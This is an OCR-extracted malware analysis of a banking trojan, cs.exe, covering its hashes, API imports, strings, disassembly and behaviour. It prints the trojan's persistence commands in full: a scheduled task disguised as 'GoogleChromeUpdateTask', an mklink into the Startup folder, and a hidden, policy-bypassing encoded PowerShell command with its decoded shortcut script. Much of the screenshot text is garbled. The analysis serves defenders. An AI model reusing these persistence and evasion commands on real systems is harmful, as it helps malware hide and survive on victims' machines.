¥..h.UB.2@A. .YAh$UB.2.A. .vAh.UB.2.A. .YEhBUB.2.A. . YA*~.C.2C¥. .hBUB.20A. .YAU.1.M..y. .. A.r..

TSV ST TR T1- TN S D ;.u. AL AL i.si.pitd..:.u".pyt).B.:A.u..ppt..B.:A.u

.byt..B.:A.t. . A.E.&.3A.Au.

°.~]AZA~]AIIIIIIvV.ijyh*IB.dj....P.1i.5VW;1pC.3AP.EBdE. .. .CER SRR ECE

In order to understand the malicious purpose of this payload we have to deep dive and analyze it by static and
dynamic analysis.

1. The second part of the command sets a new value to the “HKCU\Sofatwarte\cr” registry key — which is
further described in the technical analysis

Technical Analysis

After downloading and investigating the cs.exe (the payload we extracted above), we have concluded that this
payload is the said Trojan Banker that aims to steal banking data from infected machines.
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o SSDeep:

File name: cs.exe
MD5: 884da153fa3617c79a67b1941e4493ed

SHA-1: e1346bc15d103f0bb96d3f93a1a042f030134c8b

Sha256: e09013a2ac876746a5143f8ee8f997b06688b71adc05ddb81aeb9a1a69fa6f88

6144:Y4ICfqy7+mdXzEQjOoFIxRr4VsXR7P9/Z2Q+5A0h1faY:zICfqy7+mdXzEQnYr4VsXRFf+5xaY

Static analysis

i c:\users\oynetdesktop' palyl
&l indicators (1/14)
P virustotal (50/72)
»  dos-header (64 bytes)
Bl dos-stub {This program ¢
+ file-header (Mar.2020)
» optional-header (GUI)
= directories (7)
> sections (99,56 %)
»  libraries (3)
- imports (24/93)
S
=il
W resources (1)
abe strings (36/2423)
~¥fE debug (Mar.2020)
~ & manifest (aslnvoker)

o )

property

md5

shal

sha256
mid5-without-overlay
shal-without-overlay
sha256-without-overlay
first=brytes-hex
first-brytes-text

size
size-without-overlay
entropy

imphash

signature
entry-point-hex
file-version
description

file-type

fP‘LI

subsystern
compiler-stamp
debugger-stamp
resources-stamp
exports-stamp
versien-stamp

wvalue

B24DA153FA3G1TCTIAGTR1041EA493ED

E1346BC1SD103F08ROEDIFA3 AT AMMIFNZ0134CER

EDS01 382 ACETET46A S 143FREESFSSTROGEEERTIADCOSDDBE1 AFRSA] ABSFAGFES

4D 5490 00 03 00 00 00 04 00 00 0 FF FF 00 00 B& 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00
. E—
232448 (bytes)

6.511

2CAES3COES2052FANCTE2046AFE2ITAF

Microsoft Visual C++ 8

ES 3B 0800 00 E9 TA FE FF FF 8B 4D F4 &4 89 0D 00

executable

32-bit

Gl

Tue Mar 24 02:58:30 2020

Tue Mar 24 02:58.30 2020

n/a

The Trojan Banker’s static metadata and history (from VirusTotal.com)
History

2020-03-24 05:59:30
2020-03-27 12:50:06
2020-03-27 12:50:06

Creation Time
First Submission

Last Submission

From the static analysis of the cs.exe payload we have found some hints about the malicious activity and
basic functionality that it will soon execute and use on the compromised environment.

The following screenshot of the malicious file can show that the sections of the files are not packed or

encrypted. We can also see the assembly code and start figuring out the malicious context and purpose of this

Trojan Banker:
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o

8 X DA View-A =

Hex View-1

g @

Structures

Jtext
Jtext
text
text
text
Jtext
Jtext
text
text
text
Jtext
text
text
text
Jtext
Jtext
text
text
text
Jtext
Jtext
text
text
text
Jtext
Jtext
text
text
text

B T Tt ot e T T e ) i ) s
|
2
g
&

Segment A

Ed
g
5
:

8 x

20.87% (-1775,-120) {401, €77) 000OCART

writh Hex View-1)

3] output window

tivate Window

The first step in understanding the functionality of the payload, then will be to check the imports and

the API calls that have been used by the payload.

The main functions that we discovered are:

CreateProcess: this function allows the attacker to create a new process and its primary thread. The
new process runs in the security context of calling the process. Most of the time, the attackers will use
this API call to execute the malicious process:

2 B

B [= File: Palyload bin

— (5 Dos Header

[Z) Mt Headers
[Z File Header
|Z] Optional Header
|Z] Data Directories ]

— (= Section Headers [«]

— |33 Resource Directony
— I3 Relocation Directory
— aDebug Directony

— L2 TLS Directory

— %M{hﬂs Converter
— ), Dependency Walker
— ), Hex Editor

— ), Identifier

— 4, Import Adder

— 4, Quick Disassembler
— ), Rebuilder

— aﬂm.n:e Editor

Module Name Imports OFTs TimeDateStamp | ForwarderChain | Name RVA FTs (1AT)
000344484 N/A 0003483C 00034340 00034844 00034848 0003484C
ions)

=zAnsi (nFuncti

USER32.dlIl

Dword

Dword Dword Dword Dword

ADVAPIZ2.dII

OFTs FTs (1AT) Hint Name
0003489C 00024410 00034442 00034444
Dword Dword Word szAnsi
00036024 00036024 00D7 CreateMutexA

Sleep

GetModuleFileNamed

00D3606A 00036064

032D

GlobalAllec

00036078 00036078

033F

GlobalUnlock

CreateDirectory: this function allows the attacker to create a new directory. If the underlying file system
supports security on files and directories, the function applies a specified security descriptor to the new
directory. Usually, the attackers will use this API call to create the directory where the

malicious component will be stored in order to gain persistency on the victim’s host.
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Ay Palyload.bin
&

Medule Name Imports OFTs TimeDateStamp | ForwarderChain | Name RVA FTs (|AT)
3 [ File: Palyload bin
| — (@ Dos Header 00034444 N/A 0003483C 00034340 00034844 00034348 0003484C
Mt Headers szhnsi (nFunctions)
File Header
Optional Header
Data Directories [x] USER32.dll

[ ccon Lissdes ADVAPIZZ.dIl

— ) Resource Directory
— Eﬂﬁelocation Directory
— Eil Debug Directory

— [ TLS Directory

[ .. g-. S o

L % Dependency Walker OFTs FT= (IAT) Hint Mame
— ), Hex Editor 0003480 00024A34 00035068 00035064
— 4, Identifier

i %m Adder Dword Dword Word szhnsi
— ), Quick Disassembler 00036684 00036684 034E HeapSize
— %, Rebuilder

0003667C 0003667C 00CB CreateFileW

00036658 00036658 0544 SetStdHandle
00036646 00036646 02B4 GetProcessHeap
00036096 00036096 0334 GlobalFree

WriteFile: this function allows the attacker to write data to the specified file or input/output (1/0) device.
Usually, the adversaries will use this API call to create (write) a malicious file component. It also can be
used for persistency and post-exploitation methods.

28 W

Module Name Imports OFTs TimeDateStamp | ForwarderChain | Name RVA FTs (IAT)
1 [ File: Palyload bin
— & Dos Header 00034444 N/A 0003483C 00034340 00034844 00034348 0003484C
Nt Headers szhnsi (nFunctions)
=] File Header
=] Optional Header
Data Directories [x] USER32.dlIl

P cim et ) ADVAPIZ2.dll

— IC)Resource Directory
— ﬁﬁe{ocation Directory
— &DDehug Directany
— [CDTLS Directory

J %m Adder Dword Dword Word szAnsi
— %, Quick Disassembler 00036494 00036494 0202 GetStdHandle

00036480 00036480 0349 HeapFree
000364BC 000364BC 034C HeapReAlloc
000364CA 00D0364CA 0343 HeapAlloc
000364D6 000364D6 038D IsValidLocale

GetCommandLine: this function allows the attacker to retrieve the command-line string for the current
process. Attackers use this API call to execute (run command line) malicious code. It can also be used
for Fileless and post-exploitation methods.
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File Settings ?

¥
Bl [ File: Palyload bin

— [ Dos Header

(= Mt Headers
|2l File Headsr
|= Optional Header
|Z] Data Directories [x]

— (= Section Headers [x]

— (£ Resource Directory
— [ Relocation Directory
— 2 Debug Directory
— 2 TLS Directory

Module Name Imports OFTs TimeDateStamp | ForwarderChain | Name RVA FT= (1AT)
00034A84 MN/A 0003483C 00034840 00034844 00034848 0003484C
=zhAnsi (nFunctions) Dword Dword Dword Dword Dword

USER32.dIl

ADVAPIZ2.dIl

_&. o
— 4, Dependency Walker
— ), Hex Editor

— 4, Identifier

— 4, Import Adder

— %, Quick Disassembler
— i, Rebuilder

== %R&mu'ce Editor

Dword Dword

szhnsi

000365E2 000365E2

GetOEMCP

00036600 00036600 07 GetCommandLineW
00036612 00036612 0237 GetEnvironmentStringsW
0003662C 0003662C 01AA FreeEnvironmentStrings\W
0D0366A6 00036646 0510 SetEndOfFile

All the above-mentioned API calls are associated with Kerenel32.dll. This DLL exports functions

that relate to filesystem operations, hardware, and processes.

The next interesting functionality that is used by the below API functions implies that the attacker may have
the ability to hook, record, and steal the clipboard data which can contains sensitive information (usernames,
passwords, etc.). The attacker used USER.DLL to perform a keyboard monitoring (keylogging).

3 [ File: Palyload bin
= Dos Header

Nt Headers

File Header
Optional Header
[=] Data Directories [x]
— = Section Headers [x]

— I3 Resource Directory
— I3 Relocation Directony
— EﬂDebug Directory

— D TLS Directory

— ﬁMrl’m Converter
— %, Dependency Walker
— 9, Hex Editor

— 9, Identifier

— 9, Import Adder

— 4, Quick Disassembler
— 4, Rebuilder

= '%Flemu'ce Editor

OFTs FTs (IAT) Hint Name

Dword Dword Word szhnsi

00036004 00036004 0323 SetClipboardData

000360C2 000360C2 DME CloseClipboard

00036082 00036082 0241 OpenClipboard

000360ES D00360ES 0133 GetClipboardData
EmptyClipboard

{] vioauie name HnpuLs s HINELGLEILGIME | FUNWEILENCNIR | INdITIE A Frs sy
|I 00034B0E N/A 00034830 00034854 00034358 0003485C 00034860
srAnsi (nFunctions) Dword Dword Dword Dword Dword

87 | 0D035ES 00000000 00000000 00036044 00026008

The final API function that we have covered in this section is the GetUserName function that can be used by
the attacker for enumeration and discovering actions.
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| B

— (= Section Headers [x]

— |5 Resource Directony
— |2 Relocation Directory
— () Debug Directory
— (L TLS Directory

—%M&m&nmrmler
— 4, Dependency Walker

—%I—I&(Eﬁtnr

— 9, Identifier

— %, Import Adder

— i, Quick Disassembler
— ), Rebuilder

e aﬂﬂmm Editer

Module Mame Imports OFTs TimeDateStamp | ForwarderChain | Name RVA FTs (IAT)
31 [ File: Palyload bin
| — & Dos Header 00034B2A MN/A 00034864 00034868 0003486C 00034870 00034874
[Z Nt Headers szAnsi (nFunctions) Dword Dword Dword Dword Dword
g H|E.HEEdEf KERMEL3Z.dll a7 00035E94 000D0D00 00000000 000360A4 00026008
Cptional Header
[l Data Directories [x] USER32.dIl 5 00035FF4 00000000 00000000 0003610E 00026168

After discovering and understanding the functionality of the cs.exe payload, we have exported the strings from
the payload. The stings are good indicators for the malicious actions that the malware will perform, which will
eventually lead us to new hints about the attack stages of the Trojan Banker:

S rummes. s L susam
El rdata:0042.. 00000016 { & iostream stream error
S rdats:0042.. 00000015 fao ios_base::badbit set
S rdats:0042.. 00000016 c ios_base::failbit set
El .rdata:0042... 00000015 o ios_base::eofbit set
5] rdats:0042.. 0000001F c: C:\\ProgramData{\HYSVC\thysvc.exe
S rdats:0042.. 00000016 c C:WProgramData \HYSVCHY
El .rdata:0042.. 00000019 i and fc timeout ft 4 8& V"
) rdatsi0042.. 00000075 € cmd jcschiasks ff jreate fin 'GoogleChromeUpdateTask\" fsc hourly /ma 3 ftr Viamd fc C:\\ProgramDatalHYSVC hysve exel”
S rdats:0042.. 0000D0SC c mklink \"C:\Pr ficrosoft\\Wir t Menu\ tp\thysvel” C:\\F A\ Vhysve.exe
El .rdata:0042.. 00000299 o powershell -w 1 -exec bypass € ETAGOAZQE AATQBIAHCALQEPAGIAagEIAGMAdAAGACOAQWEY AGDATWBIAGOAZQBIAHQAIAACACIAVWET AACAAUAF ADAAIACKADQAKACQ)
5 rdats:0042.. 00000018 c: invalid string position
S rdata:0042.. 00000010 e string too long
] rdatz:0042.. 00000016 c vector<bool> too long
S rdats:0042.. 00000013 G vector<T> too long
E! rdatz:0042.. 00000017 (> 08~ =200 = nb
.| = DOS Header Offset Type Strings found
= @ ShTticdas 00024F6C ASCII C:\ProgramData\HVSVCY,
v~ NTHeader
5 £ File Header 00024FAC AsCll Ci\ProgramDatatHYSVChhysve exe
o Optional Header 0D024FFD ASCH C:\ProgramData\HYSVC\hysve exe”
Data Directories 00025029 Ascll AP i i Menu'P hhysve” G HYSVC\hysv.exe
~[ez] Section Headers 0D024FCE ASCII ChromeUpdateTask” fsc hourly /ma 3 /tr "cmd /c C\ProgramData\HYSVCihysve.exe”
-.#] DIRECTORY_ENTRY_IMPORT 0002B4EF UNICODE  DEL
el DIRECTORY ENTRY RESOURCE || 0151 AsCll DeleteCriticalSection
2 DIRECTORY_ENTRY_BASERELOC
3% DIRECTORY_ENTRY,_DEBUG 00035FC1 ASCI Root_node@std @@
+1] DIRECTORY_ENTRY_TLS 00024850 UNICODE  del-runtime-I1-1-2
) DIRECTORY_ENTRY_LOAD_CONFIG| | 00029209 ASCII delete
-] DIRECTORY_ENTRY_IAT 000294F7 ASCIl delete closure’
-] AppManifest 00035EBD Ascll delete@std@@
¢ @ %'::!SSC‘\T ] 000294D1 ASCII delete]]
@ UNICODE 00029513 ASCH delete[] closure’
L@ URL 00022318 Ascll deleting destructor
|-gif Registry 00029358 AsCll deleting destructor
i 1] Suspicious 00025048 ASCII pass -e JABVAGIAagBTAGGAZQBsAGWAIAASACAATY gBIAGMAJAAGACOACWBYAGOATWES OB AHQAIAACACIAVWETAGMACBpAHAAG FML KADQAKACT
£ 00025030 AsCIl powershell -w 1 -exec bypass -< JABVAGIAgBTAGAZOBSAGWAIAASAC AAToBIAHCALOBPAGIAZgBIAGMAJAAGACDAGWEYVAGDATWBIAGOAZOBAHOAIAAOACIAVWETAGMACGBpAHAAAAUAFMASABIAC

The main stings we have investigated are the following:

« Creation of a new file (hysvc.exe) in the ProgamData directory (this file is created by using WinAPI).

+ Manipulation of the StartUp directory (can be used for persistence).
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In order to understand the above-mentioned strings, we looked at the assembly code by using IDA.

Execution of CMD.

Creation of Scheduled Task (can be used for Persistence) to run the new hysvc.exe file.

Creation of LNK file that is linked to the new hysvc.exe file.
Execution of a base64 PowerShell command.

The first block containing an interesting offset that was discovered and analyzed is the aCProgramdataHy that

is associated with the new payload that will be created in the ProgamData directory.

ol e 5

loc_48AFS6:

push 1Eh

push offset aCProgramdataHy ; "C:\\ProgramData‘\HYSVC\\hysvc.exe"
lea ecx, [ebptvar_278]

mow [ebp+var_263], @

mow [ebpt+var_264], B@Fh

mow byte ptr [ebptvar_278], @
call sub_488A508

push 1@4h 3 nSize

lea eax, [ebp+Filename]

push eax 3 lpFilename
push a8 3 hModule
call ds:GetModuleFileNameA

lea ecx, [ebp+Filename]

mow [ebptvar_258], @

mav [ebp+var_24C], BFh

lea edx, [ecx+1]

mov byte ptr [ebptvar_268], 8
nop dword ptr [eax+eax+@h]

The second block showed a few other interesting offsets:

aCMDCTimeoutT4
aCMDSchtaskFC

aMKIinkCProgram
aPowershellW1Ex
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@w= -

loc_40B24F:

push 4ih

lea eax, [cbp*?!n—thIFfo.lpﬁrat'vtd]
mov [ebp+StartupInfo.cb], 44h

push @

push cax

call sub_48F330

lea eax, [ebp+var_278]

push cax

lea eax, [ebptCommandLine]

push gffiss SCmdCTimeoutTd - —cmd timecut /t 4 &R
push .ax

call sub_4810E0

add esp, 18h

L= eCX, cax

push

1
push of fset asc_426584 ;
call sub_488940

"oV dword ptr [ebp+var_220], @
lea ecx, [ebp+CommandLine]
sOV dword ptr [ebp#var_228+4], @

movups xme@, xmmword ptr [eax]
movups [ebpivar_238], xmmd

movg xmn@, gqword ptr [eax+18h]
movg [ebptvar_226], xmmd

Jov dword ptr [eax+lh], @

[ 1Y) dword ptr f_caxi—L-ﬁH], BFh

mov byte ptr [cax], @

call sub_482F10

push 74h

push offset aCmdCSchtasksFC ad /c schtash f eate /tn \"Google
lea €CX, |ebptvar_Jib ]

mov [ebptvar_208], @

mov [ebp+var_284], @Fh

sV [ebp+var_218], @

call sub_488A40

push &B8h

push £ MklinkCProgr . “mk]ink = VAP o 3 £+
lea ecx, [ebpivar_200

mov [ebp+var_1Fa], @

oy [ebp+var 1EC], @Fh

mov [ebp+var 200], &

call sub_ 488450

push 298h

push offset aPowershel lWiEx : ershell -y pass -e JAB
lea ecx, |ebp¥var_LED |

gy [ebp+var_1DE], @

nov [ebp+var_1D4], @Fh

L [ebp+var_ l1EB], @

call sub_488480

mov esi, ds:CloseHandle

lea edi, [ebp#+var_230]

push ebx

The aCMDCTimeoutT4 offset contains a CMD command line that run a “timeout /t 4” that pauses the
command processor for 4 seconds before launching the CMD process again. This defense evasion technique
is being used to prevent any detection by security application and traditional Anti-Virus vendors.

almdCTimeoutT4 db 'cmd fc timeout /t 4 B "',
; DATA XREF: sub_iBé59E+356Pc

The aCMDSchtaskFC offset contains another CMD command line that will run a “schtasks” for creating a

scheduled task on the compromised host. The name of the schedule task will be “GoogleChromUpdate Task”
(/tn — taskname ) and the task is scheduled to run hysvc.exe every 1 hour (/sc — schedule).

aCtmdCSchtasksFC db "cmd /c schtasks /f /fcreate /tn "GoogleChromeUpdateTask™ /sc hourl®
; DATA XREF: sub 4RAE98+44Bto
db 'y /mo 3 ftr "omd /c C:\ProgramData\HYSVC\hysvc.exe"',8
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The aMKIlinkCProgram offset contains a “mklink” command that will create a link (.LNK) file in the StartUp

directory that will be linked to the hysvc.exe file.

aMklinkCProgram db

"'mklink

"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Sta'

; DATA XREF: sub 48AESG+473Tc

db 'rtUp\hysvc™ C: \Prngr‘émData\H‘(SVC\hysvc .exe" ,@

The aPowershellW1EXx offset contains a base64 PowerShell command that will be executed by the main

payload (cs.exe).

aPowershellWlEx db

3 DATA XREF: sub_ 4@AE98+4A3To

'powershell -w 1 -exec bypass -e JABvAGIAagBTAGEAZQBsAGWAIAAQACAAT'

'EBLlAHCALQBPAGIAagElAGMAdAAZACBAOWEVAGBATWE LAGDAZQE JAHQATAACACTAVW "
'BTAGMACZBpAHAAdAAUAFMAZABLAGWADAAT ACKADQAKACQAbWELAGOAUWBOAGBACEE
'BAEMADQBBACAAPQAZACDAbWELAGOALWBOAGUABABSACAADWEYAGUAYQBBAGUALWE. "
' AGBACZBRAGMADOBRACEATABLAGAADEAGAFUALWBFAF TAUABSAESAREE JAEWARDARA "
'CsATAALAFWALWBRAGEACEBRACAATOBLAGLAQBCAFAACEBVAGCACEBhAGRACWBCAF "
'MAdABhAHIAABIAHAAT gARACSATAAT AFPWARABSAHMADEB jJACAADABUAGSATEAPAAR "
'ACgAkAGBAYEEQAFMARABVAHIAdABDAHUADARUAFQAYQBYAGCAIQBBAFALYDEBAGEA "
'PQALAEMAOEBCAFAACEBVAGCACEBhAGBARABhAHDAYQE CAEEANOBTAFYAQWE CAGEAR "

After preforming a static analysis and code analysis we wil know move to execute the cs.exe payload and
preform a Dynamic/Behavior analysis.

Behavior Analysis

Once we launched the payload, we immediately saw the following process tree:

g HIULULLEAT 1oz ]
I=F {Palyload exe (1456)
=) [El cmd .exe (7176)
[ Conhost exe (3784)
‘& limeout.exe (5388)
[ hysvec exe (392)
(= 4 omd exe (3480)
24 Conhost exe (6334)

[=) 4 powershell.exe (7300)
54 Conhost exe (2188)
{9 Fuanthinn ava (159781

(R R

Windows Comma...
Console Window ...

Windows Comma...
Console Window ...

Console Window ...
Fuanthinn

visual ...

timeout - pauses c...

Task Scheduler C...
Windows Power5...

L. AUSEIS Wy L
CAWINDOWSAS...
CAWINDOWSAS..
CAWINDOWSAS...
C:\ProgramData‘...
CAWINDOWSAS...
CAWINDOWSAS ...
CAWINDOWSAS...
CAWINDOWSMS...
CAWINDOWSAS...
- Prraram Fil=a {

- Microsoft Corporat....
Microsoft Corporat...
. Microsoft Corporat...

[REYI-Y

Microsoft Corporat...
Microsoft Corporat...
Microsoft Corporat..
Microsoft Corporat...
Microsoft Corporat...
[ it rnle

LLam i e ua,

... cmd fc timeout
DESKTOP-71BSV... \7MCAWINDOW...
DESKTOP-71BSV...
DESKTOP-71BSV...
DESKTOP-71BSV...
DESKTOP-71BSV...
DESKTOP-71BSV...
DESKTOP-71B5V...
DESKTOP-71BSV...

NFSKTNRP-T1RSY

timeout /4

"C:\ProgramData*...
cmd #c schtasks /...
NIPCAWINDOW...
schtasks A /crea...
powershell w 1 €.
ANIMCAWINDOW...

"% Proaram Filea

L WLIBTIE WY ITL

i

ETFRTFITIITETRTRRTRN

4/23/2020 8:05:1...
4/23/2020 8:05:1...
4/23/2020 8:05:2...
4/23/2020 8:05:1...
4/23/2020 8:05:1...
4/23/2020 8:05:1...
4/23/2020 8:05:1...
4/23/2020 8:05:1...

AP TG

4/23/2020 8:05:2. .

n‘a

4/23/2020 8:05:1...
4/23/2020 8:05:1...
4/23/2020 8:05:1...
4/23/2020 8:05:1...
4/23/2020 8:05:1...

nia

As we learned from the static analysis, the CreateProcess API function will execute a CMD instance

and create a scheduled task:

CMD Timeout command:

- FF25 DO149A74
oc

Createprocessa

JMP.4CreateProcessa

| wide FrU

EAX  007AAF7S
EBX 00000037

EDI  002EF720
EIF 74954060

00000300
o AF 0
OF 0 SF O DF O
CFo TF1 IF1

EFLAGS.
zF 0 FF

Operation: Process Create

Result: SUCCESS

Path: C:\WINDOWS\SyswWOowedomd.exe
Duration: 0.0000000

PID: 7176

Command line:

schtasks com

cmd Jc imeout /t 4 && "C:\ProgramData\HYSVClhysve.exe”™

mand:

"cmd /c timeout /T 4 && \"C:\\Programpata\\HYS\VC\\hysvc.exe\""
o

<kernels2.Closesandles

&"cmd /c timeout /t 4 && \"C:\\ProgramData\\HYSVC\\\hysvc.exe\""

<kernelsz.Createrrocessa>
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< T w
EE int3 EAX  007ACEBS “emd /c schtasks /f /create /tn \"GoogleChromeupdateTask\" /sc hourly /mo 3 /tr \"ecmd /c C
< i ol
T o B 2deivecs
] e
& s 2 o0Eaes
& i OB dcerners.closerandles
EE :zg EDI 002EF738 &"cmd /c schtasks /f /create /tn \"GoogleChromeUpdateTask\" /sc hourly /mo 3 /tr \"cmd /c
& i Ep 7assa00  ckernela.Createprocesshs
& i
.:,habpa createrrocessa EETAC o004
8BEC mov ebp,esp JOEROR SFEE0.HECD;
i o el G0 EI D
~ FF25 DO149A74 jmp dword ptr ds:[<&reateProcessA>] IMP.&CreateProcessA
cc int3 LastError 00000000 (ERROR_SUCCESS]
cc int3 LastStatus CO000034 (STATUS_OBJECT_NAME_NOT_FOUND)
& s
& i
Operation: Process Create
Result: SUCCESS
Path: CAWINDOWS\SysWOWE4\emd. exe
Duration: 0.0000000
PID: 3430
Command line: omd fc schtasks ff fcreate ftn "GoogleChromeUpdateTask™ fsc hourly fmo 3 ftr "end jc Ci\ProgramData\HYSVCthysve.exe”™

In order to gain persistency on the compromised host the attacker created a schedule task in the Task
Scheduler. Moreover, the attacker tried to masquerade it with a legitimate name of “Google ChromUpdate Task”
as we can see in the screenshot below:

) Task Scheduler (Local)
> & Task Scheduler Library

Name Status. Triggers Next Run Time Last Run Time Last Run Result

GoogleUpdateTaskMachineCore Running  Multiple triggers defined A/24/2020 12358 AM 4/23/2020 The operator or administrator has refused the request. (0x
(® GoogleUpdateTaskMachineUA Ready At 1:23 AM every day - After triggered, repeat every 1 hour for aduration of 1 day. 4/23/20209:23:58 AM ~ 4/23/20208:2433 AM  The operation completed successfully. (Gx0)

< >

General Triggers Actions Conditions Settings History

When you create a task, you must specify the action that will occur when your task starts. To change these actions, open thetask property pages using the Properties command.

Action Details
Start a program emd fc C:AProgramDatat HYSVC ysve.exe

The task information shows that it run the file every 3 hours:

General Triggers Actions Conditions Settings History

When you create a task, you can specify the conditions that will trigger the task. To change these triggers, open the task property pages using the Properties command.

Trigger Status

One time i y Enabled

The CreateFile and CreateDirectory functions create a new payload (hysvc.exe) in the PrgramData directory:
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76BC1B2F CC int3

-
|| 7GBC1B30 BBFF mov edi,edi CreateFilew
. 4 push ebp
e 7ERBCIE33 SBEC mov ebp,esp
el 7RBC1E3S B3E4 FB and esp,FFFFFFFS3
e 7EGEC1B3E 83EC 18 sub esp,13
| 76BC1E3B 8B4D 1C mov ecx,dword ptr ss:[lebp+icCl
& 7EBC1B3E BBC1 MoV eax,acx
®( 76BC1B40 25 B77FOOOD0O and eax,7FEBE7
@ 7GBC1B45 C70424 18000000 mov dword ptr ss:ffespld,1s
| FEEC1E4C 594424 04 mov dword ptr ss:|fesp+4f,eax [esp+4]:L"C:N\\Programdata’ \HYsvCh\ hysvc. exe”
e 7EBC1B5D BBC1 mov eax,ecx
®| 76BC1B52 25 QOOOFOFF and eax,FFFO0000
@ 76BC1B57 894424 08 mov dword ptr ss:|[fesp+sf,eax
@ FEGEC1BSE F7C1 00001000 test ecx, 100000
| 76BC1EGRL v 75 31 jne kernelbase.76BC1B94
& 7GBC1BG3 836424 0C 00 and dword ptr ss:|fesp+Cl,0
. 5B45 14 mov eax,dword ptr ssilfebp+14]
. BBSS 0OC mov edx,dword ptr ss:febp+CJ)
- 8B4D 08 mov ecx,dword ptr ss:|febp+s]) [ebp+8] L "CiY\Programbata’\HYSvC \ hysve. exe”
. 894424 10 mov dword ptr ss!|fesp+10{,eax
. 8B45 20 mov eax,dword ptr ss:|febp+z2of
- &6A 00 push 0
- 894424 13 mov dword ptr ss:[Jesp+15],eax
. 804424 04 lea eax,dword ptr ss:[fesp+4] [esp+4]:L"C:%\ProgramData’\HYSvC\ hysve. exe”
. 14 push eax
. FF75 18 push dword ptr ss:[ebp+158]
. FF75 10 push dword ptr ss:[febp+10]
- ES8 12000000 c€all kernelbase.76BCLEAD
el 7GBC1BSE BBES mov eso.ebo
« v 4 » This PC » Local Disk (C:) » ProgramData » HYSVC
-~
Marne Date modified Type Size
# Quick access
[®E] hysve.exe 4£23/2020 8:05 AM Application 227 KB

B Desktop -
‘ Downloads -
Documents -

After checking the hash of the new hysvc.exe payload, we have found that it is the same file as the original
cs.exe payload. Thus, the initial trojan just copied itself to a new location:

File Edit View Options Help

09 EEeaE A

Filename MD5 SHAT CRC32 SHA-256
[5] hysve.exe 884da153fa3b17c79ab7b1941e4493ed £1346bc15d103f0bb96d3f03a1a042f030134¢...  054a0786 e09013a2ac8 76
[5E] Payload.exe 884da153fa3617c79a67b1941e4493ed £1346bc15d103f0bb96d3f93a1a042f030134¢...  054a0786 e09013a2acB76

After creating the second payload (hysvc.exe) and a scheduled task to run this payload, the initial payload
(cs.exe) is launching PowerShell in order to run an encoded malicious command:
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length: 532 =
Input S + M= -

lines:

JABVAGIAagBTAGEAZOQBSAGWATAASACAATEELAHCALQBPAGIAZE 1 AGMADAAZACBAQWEVAGBATWE IAGOAZQEJAHOATAAOAC TAVWETAGMAC gBpAHARDAAUAFMASAE
1AGwAbAALACKADQAKACQADWE 1AGOAUWBOAGBACZEBAEMACQOBBACAAPQASACQAbWBIAGOAUWBOAGUADABSACAAQWBYAGUAYQBBAGUALWBOAGEAC EBBAGMADQBBAC
gAJABlAGAADgAGAFUAUWBFAF TAUABSAEBAREBIAEWARQAGACSATAALAFWALWBBAGEAC ZBBACAATOBLAGAAIQB CAFAACEBVAGCACgBhAGBACWE CAFMADABhAHTIA
AB1AHAATIgAgACSATAALIAFWAEABSAHMADEE JAC4ADABUAGSATZAPAABACEAKAGBAYEBgAFMAGABYAHIAdABDAHUADAAUAFQAY]BYAGCAZQBBAFAAYQBBAGEAPQAL
AEMADgBCAFAACEBVAGCACEBhAGAARABhAHQAYQBCAEZAWQBTAFYAQWBCAGEARQBZAHYAYWAUAGUAEABLACTADQAKACQAbWEIAGOAUWBOAGBACEBBAEMAIQEBACS
AUwBhAHYAZQACACKA

time: 2ms

length: C
Qutput Shel e a O m

lines:

ra
ed

$objshell = New-Object -ComObject ("WScript.Sshell”)

$objshortCut = $objshell.CreateShortcut($env:USERPROFILE + "\Start Menu‘\Programs\Startup” + "‘hyswvc.lnk™)
$objshortCut.TargetPath="C:\ProgramData‘\HYSVC\hysvc.exe"

$objshortCut.Save()

The decoded command, as shown above, has used a Com-Object of “Wiscript.Shell’ to create a shortcut file

(LNK) in the StartUp directory which is linked to the hysvc.exe payload. This is basically an attempt to use a
second persistence technique for the payload to run every time the victim reboots the compromised

machine, by automatically executing the LNK file from the startup:

“AppData\Romming\Microsoft\Windows\Start Menu\Programs\StartUp”

- Lilog  [UNotes Breskponts B Memon - al % Lo scri ols ource - References vesds <7 Snowman iandies 3 Trace
Bou Boom I Notes @ Breckports B MemoryMep [ CalStak &7 sEH sapt | Esymos <> s Refer B Toreads s & Handes {7 T
S[Tis e e o
rnin e« s
cc int3 EAX  OO7ACEBS "mklink \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\hysvc\" C:\\Programbata\\HYSVC\\hy
&« inc3 fex ooooooes 'Kt
« ins
< im3
& i
& i 5 Soseren
&€ i OIS ernenzcrosenandies
[ int3 EDI  O02EF750 &"mklink \"C:\\Programpata\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\hysvc\" C:\\Programpata\\HYSvC\\t
& i
& e frp 7e%5a060  ckernelsz.Createprocessi>
& ]
Shee L e — gELacs 00000304
= pushiche oF o0 sFo OF O
Eg RoMCHEe 25 =R &8
Operation: CreateFile
Result: NAME INVALID
T : : -
Path: C:\sers\cynet\Desktopmklink "C:\ProgramDataMicrosoft\Windows\Start Menu'Programs\StartUpthysve”™ C:\ProgramData\HYSVCYhysve, exe
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T <« Users » cynet » AppData »
oy PP

MNarme
# Quick access
desktop.ini
B Desktop + s
7= hysve
* Downloads -
%=| Documents -
&=/ Pictures »
procdot

The LNK file is linked to the trojan Banker (hysvc.exe) which is now located in the ProgramData directory.

A hysve Properties

Security Details Previous Versions

Roaming * Microsoft » Windows » Start Menu » Programs » Startup

General Shortcut Compatibility

hysve

Target type: Application

Target location: HYSWC

Target: ‘ C\ProgramData\HY SVC \hysve exe

Start in: ‘

Shortcut key: ‘None

Run: . MNomal window
Comment: ‘
: .Open ﬁlé Locatic.m . thange lcon... [ Mvanc:ed...

| Cance

Memory context of the payload:

App

Date modified Type Size
2/1/2020

3/1/2020 2:55 AM Configuration sett... TKB
4/23,/2020 8:05 AM Shortcut 1KB

>
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Q0000530
Q0000540
Q0000550
Q0000560
Q0000570
Q0000530
Q0000550
Q000o05a0 o -
000005k0 chtasks /f /
Q00005ec0 ? ; te ftn "G eCh|
00000540 ¥k ; i elpdatelask™
00000520 2 2 hourly
000005£0
Q0a0o0&00
Qoaooglo
Q0000820
Q0000830
Qoa0oe40
Q0000850
Qoo0oge0
Q0000&70
Qoa0ogs0
Q0000890
Qoa0ogal
000006b0 4a 41 42 76 41 47 4% 41 61 &7 42 54 41 47 67 41 JRBvAGIRagBIAGQA

